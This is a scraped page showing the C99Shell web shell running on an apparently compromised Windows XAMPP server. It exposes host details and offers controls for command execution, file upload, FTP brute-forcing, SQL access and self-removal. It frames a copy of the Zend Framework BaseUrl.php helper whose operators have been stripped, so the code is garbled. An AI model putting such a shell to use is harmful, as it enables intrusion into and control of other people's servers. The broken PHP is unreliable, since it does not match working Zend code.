!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

E:\xampp\xampp\php\PEAR\Zend\View\Helper\   drwxrwxrwx
Free 4.96 GB of 239.26 GB (2.07%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     BaseUrl.php (2.93 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Zend Framework
 *
 * LICENSE
 *
 * This source file is subject to the new BSD license that is bundled
 * with this package in the file LICENSE.txt.
 * It is also available through the world-wide-web at this URL:
 * http://framework.zend.com/license/new-bsd
 * If you did not receive a copy of the license and are unable to
 * obtain it through the world-wide-web, please send an email
 * to license@zend.com so we can send you a copy immediately.
 *
 * @category   Zend
 * @package    Zend_View
 * @subpackage Helper
 * @copyright  Copyright (c) 2005-2009 Zend Technologies USA Inc. (http://www.zend.com)
 * @version    $Id: BaseUrl.php 16971 2009-07-22 18:05:45Z mikaelkael $
 * @license    http://framework.zend.com/license/new-bsd     New BSD License
 */

/** @see Zend_View_Helper_Abstract */
require_once 'Zend/View/Helper/Abstract.php';

/**
 * Helper for retrieving the BaseUrl
 *
 * @package    Zend_View
 * @subpackage Helper
 * @copyright  Copyright (c) 2005-2009 Zend Technologies USA Inc. (http://www.zend.com)
 * @license    http://framework.zend.com/license/new-bsd     New BSD License
 */
class Zend_View_Helper_BaseUrl extends Zend_View_Helper_Abstract
{
    
/**
     * BaseUrl
     *
     * @var string
     */
    
protected $_baseUrl;

    
/**
     * Returns site's base url, or file with base url prepended
     *
     * $file is appended to the base url for simplicity
     *
     * @param  string|null $file
     * @return string
     */
    
public function baseUrl($file null)
    {
        
// Get baseUrl
        
$baseUrl $this->getBaseUrl();

        
// Remove trailing slashes
        
if (null !== $file) {
            
$file '/' ltrim($file'/\\');
        }

        return 
$baseUrl $file;
    }

    
/**
     * Set BaseUrl
     *
     * @param  string $base
     * @return Zend_View_Helper_BaseUrl
     */
    
public function setBaseUrl($base)
    {
        
$this->_baseUrl rtrim($base'/\\');
        return 
$this;
    }

    
/**
     * Get BaseUrl
     *
     * @return string
     */
    
public function getBaseUrl()
    {
        if (
$this->_baseUrl === null) {
            
/** @see Zend_Controller_Front */
            
require_once 'Zend/Controller/Front.php';
            
$baseUrl Zend_Controller_Front::getInstance()->getBaseUrl();

            
// Remove scriptname, eg. index.php from baseUrl
            
$baseUrl $this->_removeScriptName($baseUrl);

            
$this->setBaseUrl($baseUrl);
        }

        return 
$this->_baseUrl;
    }

    
/**
     * Remove Script filename from baseurl
     *
     * @param  string $url
     * @return string
     */
    
protected function _removeScriptName($url)
    {
        if (!isset(
$_SERVER['SCRIPT_NAME'])) {
            
// We can't do much now can we? (Well, we could parse out by ".")
            
return $url;
        }

        if ((
$pos strripos($urlbasename($_SERVER['SCRIPT_NAME']))) !== false) {
            
$url substr($url0$pos);
        }

        return 
$url;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0936 ]--